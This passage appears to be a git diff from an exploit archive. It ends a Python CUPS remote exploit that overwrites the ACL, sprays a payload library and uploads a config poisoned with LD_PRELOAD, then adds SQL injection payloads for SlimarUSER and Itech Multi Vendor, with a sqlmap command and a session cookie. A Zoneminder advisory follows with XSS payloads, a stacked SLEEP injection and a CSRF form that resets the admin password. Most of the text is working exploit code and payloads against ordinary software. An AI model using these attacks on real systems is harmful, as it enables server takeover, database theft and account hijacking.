||||
"\x0d\x0a")
|
||||
|
||||
pretty("*","stomping ACL")
|
||||
pretty("*",">:\n" + createDump(http_header1 + admin_stomp))
|
||||
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))
|
||||
time.sleep(1)
|
||||
pretty("*",">:\n" + createDump(http_header2 + conf_stomp))
|
||||
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))
|
||||
|
||||
http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
pretty("*","checking /admin")
|
||||
pretty("*",">:\n" + createDump(http_header_check))
|
||||
res = txrx(rhost,rport,"tcp",http_header_check)
|
||||
pretty("*","<:\n" + createDump(res))
|
||||
m = re.search('200 OK', res)
|
||||
if m is not None:
|
||||
pretty("+","ACL stomp successful")
|
||||
else:
|
||||
pretty("-","exploit failed")
|
||||
exit(1)
|
||||
|
||||
|
||||
def getConfig(rhost, rport):
|
||||
i = random.randint(1,1024)
|
||||
original_config = ""
|
||||
http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
|
||||
pretty("*","grabbing configuration file....")
|
||||
res = txrx(rhost,rport,"tcp",http_request)
|
||||
res_array = res.split("\x0d\x0a\x0d\x0a")
|
||||
original_config = res_array[1]
|
||||
pretty("*","config:\n" + original_config + "\n")
|
||||
return original_config
|
||||
|
||||
def putConfig(rhost, rport, config):
|
||||
http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
|
||||
"Content-Type: application/ipp\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Keep-Alive\x0d\x0a"
|
||||
"Content-Length: " + str(len(config)) + "\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
pretty("*","overwriting config...")
|
||||
pretty("*",">:\n" + createDump(http_request + config))
|
||||
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))
|
||||
|
||||
def poisonConfig(config, name):
|
||||
config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"
|
||||
return config
|
||||
|
||||
def main():
|
||||
rhost = None;
|
||||
noshell = None;
|
||||
options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])
|
||||
for opt, arg in options:
|
||||
if opt in ('-h', '--help'):
|
||||
usage()
|
||||
elif opt in ('-a','--rhost'):
|
||||
rhost = arg;
|
||||
elif opt in ('-b','--rport'):
|
||||
rport = arg;
|
||||
elif opt in ('-c','--lib'):
|
||||
libpath = arg;
|
||||
elif opt in ('-f','--stomp-only'):
|
||||
noshell = 1;
|
||||
banner()
|
||||
if rhost is None or rport is None:
|
||||
usage()
|
||||
pretty("*","locate available printer")
|
||||
printer = locatePrinters(rhost, rport)
|
||||
pretty("*","stomp ACL")
|
||||
stompACL(rhost, rport, printer)
|
||||
if (noshell is not None):
|
||||
pretty("*","fin")
|
||||
exit(0)
|
||||
pretty("*","prepare payload")
|
||||
payload = preparePayload(libpath)
|
||||
pretty("*","spray payload")
|
||||
jobid = seedTarget(rhost, rport, printer, payload)
|
||||
pretty("*","grab original config")
|
||||
OG_config = getConfig(rhost, rport)
|
||||
pretty("*","generate poison config")
|
||||
evil_config = poisonConfig(OG_config, jobid)
|
||||
pretty("*","upload poison config")
|
||||
putConfig(rhost, rport, evil_config)
|
||||
pretty("*","fin")
|
||||
exit(0);
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
25
platforms/php/webapps/41235.txt
Executable file
25
platforms/php/webapps/41235.txt
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
Exploit Title: SlimarUSER Management v1.0 – 'id' Parameter SQL Injection
|
||||
Date: 03.02.2017
|
||||
Vendor Homepage: http://slimar.org
|
||||
Exploit Author: Kaan KAMIS
|
||||
Contact: iletisim[at]k2an[dot]com
|
||||
Website: http://k2an.com
|
||||
Category: Web Application Exploits
|
||||
|
||||
Overview
|
||||
|
||||
SlimarUSER is a PHP user management system full with features. The system allows website owners to manage their own users with complete login, registration and many other features. It can be used on its own, or integrated into any existing PHP powered website.
|
||||
|
||||
Sqlmap command: sqlmap.py -u "http://locahost/userman/inbox.php?p=view&id=7" --cookie="PHPSESSID=de3052c5dbb1d535d423ee1a2dbb076b; id=4; password=%242y%2410%24UuYt6q5GXU5UO37xc3j3GeN2ZM1hHB1sWqsAMs1DXAoeewSH.WYgq" --batch --random-agent --dbms=mysql
|
||||
|
||||
Vulnerable Url: http://locahost/userman/inbox.php?p=view&id=[payload]
|
||||
---
|
||||
Parameter: id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: p=view&id=7' AND 6275=6275 AND 'DFYF'='DFYF
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: p=view&id=7' AND SLEEP(5) AND 'HCUm'='HCUm
|
||||
---
|
||||
77
platforms/php/webapps/41238.txt
Executable file
77
platforms/php/webapps/41238.txt
Executable file
|
|
@ -0,0 +1,77 @@
|
|||
# Exploit Title : Itech Multi Vendor Script - Multiple SQL Injections
|
||||
# Author : Yunus YILDIRIM (Th3GundY)
|
||||
# Team : CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
|
||||
# Website : http://www.yunus.ninja
|
||||
# Contact : yunusyildirim@protonmail.com
|
||||
|
||||
# Vendor Homepage : http://itechscripts.com/
|
||||
# Software Link : http://itechscripts.com/multi-vendor-shopping-script/
|
||||
# Vuln. Version : 6.49
|
||||
# Demo : http://multi-vendor.itechscripts.com
|
||||
|
||||
|
||||
# # # # DETAILS # # # #
|
||||
|
||||
SQL Injections :
|
||||
|
||||
# 1
|
||||
http://localhost/quickview.php?id=10
|
||||
Parameter: id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: id=10 AND 9776=9776
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: id=10 AND SLEEP(5)
|
||||
|
||||
# 2
|
||||
http://localhost/product.php?id=9
|
||||
Parameter: id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: id=9 AND 9693=9693
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: id=9 AND SLEEP(5)
|
||||
|
||||
# 3
|
||||
http://localhost/product_search.php?search=Adidas
|
||||
Parameter: search (GET)
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: search=Adidas%' AND SLEEP(5) AND '%'='
|
||||
|
||||
# 4
|
||||
http://localhost/product_search.php?category_id=1
|
||||
Parameter: category_id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: category_id=1 AND 8225=8225
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: category_id=1 AND SLEEP(5)
|
||||
|
||||
# 5
|
||||
http://localhost/product_search.php?category_id=1&sub_category_id=1&sub_sub_category_id=1
|
||||
Parameter: sub_sub_category_id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND 7485=7485
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND SLEEP(5)
|
||||
|
||||
# 6
|
||||
http://localhost/product_search.php?category_id=1&sub_category_id=1
|
||||
Parameter: sub_category_id (GET)
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: category_id=1&sub_category_id=1 AND 5242=5242
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind
|
||||
Payload: category_id=1&sub_category_id=1 AND SLEEP(5)
|
||||
132
platforms/php/webapps/41239.txt
Executable file
132
platforms/php/webapps/41239.txt
Executable file
|
|
@ -0,0 +1,132 @@
|
|||
Source: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt
|
||||
|
||||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
Hash: SHA256
|
||||
|
||||
=== FOXMOLE - Security Advisory 2016-07-05 ===
|
||||
|
||||
Zoneminder multiple vulnerabilities
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Affected Versions
|
||||
=================
|
||||
Zoneminder 1.29,1.30
|
||||
|
||||
Issue Overview
|
||||
==============
|
||||
Vulnerability Type: SQL Injection, Cross Site Scripting, Session Fixation, No CSRF Protection
|
||||
Technical Risk: high
|
||||
Likelihood of Exploitation: medium
|
||||
Vendor: Zoneminder
|
||||
Vendor URL: https://zoneminder.com/
|
||||
Credits: FOXMOLE employee Tim Herres
|
||||
Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt
|
||||
Advisory Status: Public
|
||||
CVE-Number: NA
|
||||
CVE URL: NA
|
||||
OVE-ID:
|
||||
OVI-ID:
|
||||
CWE-ID: CWE-89
|
||||
CVSS 2.0: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N)
|
||||
|
||||
|
||||
Impact
|
||||
======
|
||||
During an internal code review multiple vulnerabilities were identified.
|
||||
The whole application misses input validation and output encoding.
|
||||
This means user supplied input is inserted in an unsafe way.
|
||||
This could allow a remote attacker to easily compromise user accounts or access the database in an unsafe way.
|
||||
|
||||
Issue Description
|
||||
=================
|
||||
The following findings are only examples there are quite more. The whole application should be reviewed.
|
||||
|
||||
All items tested using Firefox
|
||||
|
||||
1)Cross Site Scripting (XSS)
|
||||
Reflected: http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h
|
||||
Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE
|
||||
Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection.
|
||||
|
||||
2)SQL Injection
|
||||
Example Url:http://192.168.241.131/zm/index.php
|
||||
Parameter: limit (POST)
|
||||
Type: stacked queries
|
||||
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
|
||||
Payload: view=request&request=log&task=query&limit=100;(SELECT *
|
||||
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
|
||||
Easy exploitable using sqlmap.
|
||||
|
||||
3)Session Fixation
|
||||
After a successful authentication the Session Cookie ZMSESSID remains the same.
|
||||
Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login
|
||||
ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2
|
||||
|
||||
4)No CSRF Proctection
|
||||
A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it.
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://192.168.241.131/zm/index.php" method="POST">
|
||||
<input type="hidden" name="view" value="user" />
|
||||
<input type="hidden" name="action" value="user" />
|
||||
<input type="hidden" name="uid" value="1" />
|
||||
<input type="hidden" name="newUser[MonitorIds]" value="" />
|
||||
<input type="hidden" name="newUser[Username]" value="admin" />
|
||||
<input type="hidden" name="newUser[Password]"
|
||||
value="admin1" />
|
||||
<input type="hidden" name="conf_password" value="admin1" />
|
||||
<input type="hidden" name="newUser[Language]" value="" />
|
||||
<input type="hidden" name="newUser[Enabled]" value="1" />
|
||||
<input type="hidden" name="newUser[Stream]" value="View" />
|
||||
<input type="hidden" name="newUser[Events]" value="Edit" />
|
||||
<input type="hidden" name="newUser[Control]" value="Edit" />
|
||||
<input type="hidden" name="newUser[Monitors]" value="Edit" />
|
||||
<input type="hidden" name="newUser[Groups]" value="Edit" />
|
||||
<input type="hidden" name="newUser[System]" value="Edit" />
|
||||
<input type="hidden" name="newUser[MaxBandwidth]" value="" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
Temporary Workaround and Fix
|
||||
============================
|
||||
FOXMOLE advises to disable Zoneminder until the vendor publishes a complete fix.
|
||||
|
||||
|
||||
|
||||
History
|
||||
=======
|
||||
2016-07-05 Issue discovered
|
||||
2016-11-22 Vendor contacted, no response
|
||||
2016-12-16 Vendor contacted again, still no response
|
||||
2017-01-17 Vendor contacted --> working on a patch
|
||||
2017-01-22 Vendor contacted, asked for an update and
|
||||
declare advisory release to 2017-02-02 --> no response
|
||||
2017-02-02 Advisory Release
|
||||
|
||||
|
||||
GPG Signature
|
||||
=============
|
||||
This advisory is signed with the GPG key of the FOXMOLE advisories team.
|
||||
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAliS758ACgkQOBIJIZnj
|
||||
J3y4Wg//fi1TrOCwVX4DemeKv2Wm4bf+sBlxhyWX6KRolylHYiReSuID+mAZvYyD
|
||||
UDMQkWcHKzDXTZKvkNXB6h70r3x/pKKR7SmlaNfFDeCbEgChzDaxCmlzcOaXIzSy
|
||||
D5S0quuT2OdpQmvMWtrMbJrqdP8I3AW5WJt2F5uc796eUEo9HZZuIC8MxzlzKdgR
|
||||
dLWyE3fPghECsPBFxstGS9M6iUHnQALYAf7KBVnQmDiidNpCRNzUx8l4YolejBT4
|
||||
8aGfiQZFJDS8caR0NWWpf0stIayJNVCcxziaRAXyf8BkuHQIK5Ccpfy2q1V4hvWw
|
||||
tn1p7M8hrY+U1mhH6R8zpK+kcZ2WEvUQd4OCJ5fRB9zo+WFK3Hpr/z1iPTA8TPmd
|
||||
0y3wwyQOmN1rzIwBEoKpRbPXKwK1bgXn9pwVYPOg7aapaePxtWQXL3zihN4BSQNw
|
||||
NVXHwuNxCCXH9NLB65MC4mopKPq+alVZUj2IJjDp0DuCP4lG2FFiVkUaf49tV0Mg
|
||||
8f5GUTYuQCQsa8/acpm4NF40Y/vkaJ7SBzJ8T8j5TDqegnhbdEWlp5Ydx/Z2+Gb7
|
||||
c6ZYeWxNmsShm01yBw0id75hANKdLBUdNdxTXjxvqryQx7kXQ7ua5TA9m4a0378c
|
||||
3CBpM2Bor0RtFkhedLLRW4p+8aNUSYuj83ExNAbYk6ZkmcZ2q0E=
|
||||
=kFiq
|
||||
-----END PGP SIGNATURE-----
|
||||
Loading…
Add table
Reference in a new issue